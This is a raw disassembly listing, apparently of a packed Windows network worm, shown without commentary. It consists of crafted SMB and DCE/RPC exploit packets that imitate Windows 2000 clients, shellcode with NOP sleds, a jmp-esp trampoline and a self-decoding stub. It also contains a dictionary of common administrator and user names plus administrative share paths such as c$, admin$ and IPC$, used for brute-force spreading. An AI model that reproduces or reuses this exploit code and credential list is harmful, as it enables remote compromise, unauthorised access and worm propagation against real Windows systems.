11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4157B8 dd 20h, 0 ; DATA XREF: sub_40BCBD+81o dd 20h, 5C005Ch, 0 aC1234561111111: ; DATA XREF: sub_40BCBD+CCo unicode 0, <\C$\123456111111111111111.doc>,0 dd 0 dword_41580C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40BCBD+E5o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dword_415840 dd 2180310h ; DATA XREF: sub_40BCBD+13Co dword_415844 dd 10016C6h ; DATA XREF: sub_40BCBD+133o dword_415848 dd 100139Dh ; DATA XREF: sub_40BCBD+12Ao dword_41584C dd 1001C55h ; DATA XREF: sub_40BCBD+113o dword_415850 dd 1001C98h ; DATA XREF: sub_40BCBD:loc_40BDD7o dword_415854 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_40BCBD+Eo ; sub_40BE68+53o ... dword_41585C dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40BE68+14o dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4158A8 dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_40BE68+11Eo dword_4158C4 dd 10005h, 2 dup(0) ; DATA XREF: sub_40BE68+131o dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41590C dd 0 ; DATA XREF: sub_40BE68+266o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_415940: ; DATA XREF: sub_40BE68+100o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41594C: ; DATA XREF: sub_40BE68+B0o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_415958: ; DATA XREF: sub_40BE68+154o jmp short loc_41596A ; --------------------------------------------------------------------------- jmp short loc_415975 ; --------------------------------------------------------------------------- align 10h loc_415960: ; DATA XREF: sub_40BE68+1B3o jmp short near ptr word_415966 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_415966 dw 0 ; CODE XREF: .packed:loc_415960j ; --------------------------------------------------------------------------- loc_415968: ; DATA XREF: sub_40BE68+1D6o jmp short near ptr word_41596E ; --------------------------------------------------------------------------- loc_41596A: ; CODE XREF: .packed:loc_415958j ; .packed:loc_415988j jmp short loc_415970 ; --------------------------------------------------------------------------- db 2 dup(0) word_41596E dw 0 ; CODE XREF: .packed:loc_415968j ; --------------------------------------------------------------------------- loc_415970: ; CODE XREF: .packed:loc_41596Aj ; DATA XREF: sub_40BE68+1FCo jmp short near ptr loc_415975+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_415975: ; CODE XREF: .packed:0041595Aj ; .packed:loc_415970j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_415978 dd offset loc_410058+4 ; DATA XREF: sub_40BE68+24Fo dd 2 dup(0) dword_415984 dd 77F33723h ; DATA XREF: sub_40BE68+17Ao ; --------------------------------------------------------------------------- loc_415988: ; DATA XREF: sub_40BE68+190o jmp short loc_41596A ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41598C: ; DATA XREF: sub_40BE68+167o lahf jnz short loc_4159A7 loc_41598F: ; DATA XREF: sub_40BE68+F0o add [ecx+1Ch], bl loc_415992: ; CODE XREF: .packed:loc_41599Cj add [ecx], al loc_415994: ; DATA XREF: sub_40BE68+D0o or ecx, [ebx] sbb eax, [eax] loc_415998: ; DATA XREF: sub_40BE68+E0o jmp short near ptr dword_4159A0 ; --------------------------------------------------------------------------- align 4 loc_41599C: ; DATA XREF: sub_40BE68+C0o jmp short loc_415992 ; --------------------------------------------------------------------------- align 10h dword_4159A0 dd 85000000h ; CODE XREF: .packed:loc_415998j ; DATA XREF: sub_40C501+4Fo ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_4159A7: ; CODE XREF: .packed:0041598Dj inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_415A2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C501+8Co dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_415AD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C501+BFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_415BB8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+76o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40C135+9Do unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_415C1C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+102o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_415C88 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+13Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_415D2C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+36Eo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_415DAC dd offset loc_401494+1 ; DATA XREF: sub_40C135+39Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_415E40 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+23Eo dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_415EAC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40C135+269o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_415F20 dd 0 ; DATA XREF: sub_40C135+29Ao dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_415FA8 proc near ; DATA XREF: sub_40C135+35Bo sub sp, 71Ch jmp esp sub_415FA8 endp ; --------------------------------------------------------------------------- align 10h dword_415FB0 dd 1004600h, 7515123Ch, 751C123Ch ; DATA XREF: sub_40C135+348o ; --------------------------------------------------------------------------- loc_415FBC: ; DATA XREF: sub_40C135+1C1o jmp short loc_415FC4 ; --------------------------------------------------------------------------- dw 6EBh dd 0 ; --------------------------------------------------------------------------- loc_415FC4: ; CODE XREF: .packed:loc_415FBCj ; DATA XREF: .packed:0040C6DEo ... mov edx, 5042B68Ah push ds loc_415FCA: ; DATA XREF: .packed:0040C692o rol byte ptr [edx+12h], 1 add [eax], eax xor al, 0 ; --------------------------------------------------------------------------- db 3 dup(0) dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dword_415FF4 dd 34EEA51Bh, 0 ; DATA XREF: .packed:0040C6BAo dword_415FFC dd 12400h, 0 ; DATA XREF: .packed:0040C774o a3333 db '3333',0 ; DATA XREF: .packed:0040C714o align 4 aCccc db 'CCCC',0 ; DATA XREF: .packed:0040C6CCo align 4 dword_416014 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .packed:0040C7ECo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4160A0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .packed:0040C824o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dword_41614C dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .packed:0040C852o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41622C dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: .packed:0040C885o dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41626C dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: .packed:0040C8BEo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_4162D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .packed:0040C8ECo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416374 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .packed:0040C937o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_4163FC dd 0 ; DATA XREF: .packed:0040C9B0o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 10h dword_416420 dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .packed:0040CA10o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_4164A8 dd 0 ; DATA XREF: .packed:0040CA7Ao dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_4164CC dd 20804h, 0 ; DATA XREF: .packed:0040C982o ; .packed:0040CA5Bo dword_4164D4 dd 2080Ah, 0 ; DATA XREF: .packed:0040C977o dword_4164DC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CAA1+4Eo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_416568 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+9Do dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_416614 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+D5o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4166F4 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+11Do dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dword_416728 dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: sub_40CAA1+15Fo dword_416734 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+1DAo dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dword_4167A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+21Fo dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416844 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1+280o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41690E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_416916 ; --------------------------------------------------------------------------- loc_41690E: ; CODE XREF: .packed:00416904j nop nop db 67h adc eax, 8EB767Ah loc_416916: ; CODE XREF: .packed:0041690Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_416965 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_416965: ; CODE XREF: .packed:0041695Bj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_416978 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CAA1:loc_40CD28o dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_416A42 ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_416A4A ; --------------------------------------------------------------------------- loc_416A42: ; CODE XREF: .packed:00416A38j nop nop db 67h adc eax, 8EB767Ah loc_416A4A: ; CODE XREF: .packed:00416A40j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_416ABA add [ecx], eax jmp short loc_416A8A ; --------------------------------------------------------------------------- align 4 dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_416A8A: ; CODE XREF: .packed:00416A80j nop nop nop nop nop jmp short loc_416A99 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: .packed:00416A8Fj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_416AAC dd 7E0h, 4, 0 ; DATA XREF: sub_40CAA1+2B9o db 2 dup(0) word_416ABA dw 0 ; CODE XREF: .packed:00416A7Cj align 10h dword_416AC0 dd 0D0EC8166h, 7 ; DATA XREF: sub_40CEBE+D9o dword_416AC8 dd 129F74h, 0 ; DATA XREF: sub_40CEBE+380o dword_416AD0 dd 127D78h, 0 ; DATA XREF: sub_40CEBE+3E5o ; =============== S U B R O U T I N E ======================================= sub_416AD8 proc near ; DATA XREF: sub_40CEBE+10Bo ; FUNCTION CHUNK AT 00416ADE SIZE 00000049 BYTES pusha jmp short loc_416ADE sub_416AD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ADB proc near ; CODE XREF: sub_416AD8:loc_416ADEp pop ebx push ebx retn sub_416ADB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416AD8 loc_416ADE: ; CODE XREF: sub_416AD8+1j call sub_416ADB xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_416AEB: ; CODE XREF: sub_416AD8+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_416AEB popa loc_416B17: ; DATA XREF: sub_40CEBE+EAr add [ebx+31h], al loc_416B1A: ; DATA XREF: sub_40CEBE+E4r mov ebp, 7FC77h loc_416B1F: ; DATA XREF: sub_40CEBE:loc_40D1D9r ; sub_40CEBE+348r ... add [ecx], al inc ebx loc_416B22: ; CODE XREF: sub_416AD8+4Cj xor eax, eax ja short loc_416B22 pop es ; END OF FUNCTION CHUNK FOR sub_416AD8 ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h dword_416B38 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40CEBE+2CDo dword_416B4C dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: sub_40CEBE+29Eo dword_416B60 dd 65706970h, 736B775Ch, 637673h ; DATA XREF: sub_40CEBE+236o dword_416B6C dd 24637069h, 0 ; DATA XREF: sub_40CEBE+1DFo dword_416B74 dd 73255C5Ch, 5Ch ; DATA XREF: sub_40CEBE+1CCo ; sub_40CEBE+223o dword_416B7C dd 2Eh ; DATA XREF: sub_40CEBE+1AFo dword_416B80 dd 73255C5Ch, 0 ; DATA XREF: sub_40CEBE+18Fo dword_416B88 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D42D+ADo dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_416BD4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D42D+F2o ; --------------------------------------------------------------------------- loc_416BF0: ; DATA XREF: sub_40D42D+124o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_416C04 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D42D+14Do a5000 db '5000',0 ; DATA XREF: sub_40D42D+28o align 10h byte_416C20 db 90h ; DATA XREF: sub_40D5A8+1Er ; sub_40D5A8+49r ... dword_416C21 dd 0 ; DATA XREF: sub_40D5A8+77r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC_1 ; "c$" dd offset aD ; "d$" dd offset aE_0 ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" dd 0 dd offset byte_4191D0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" 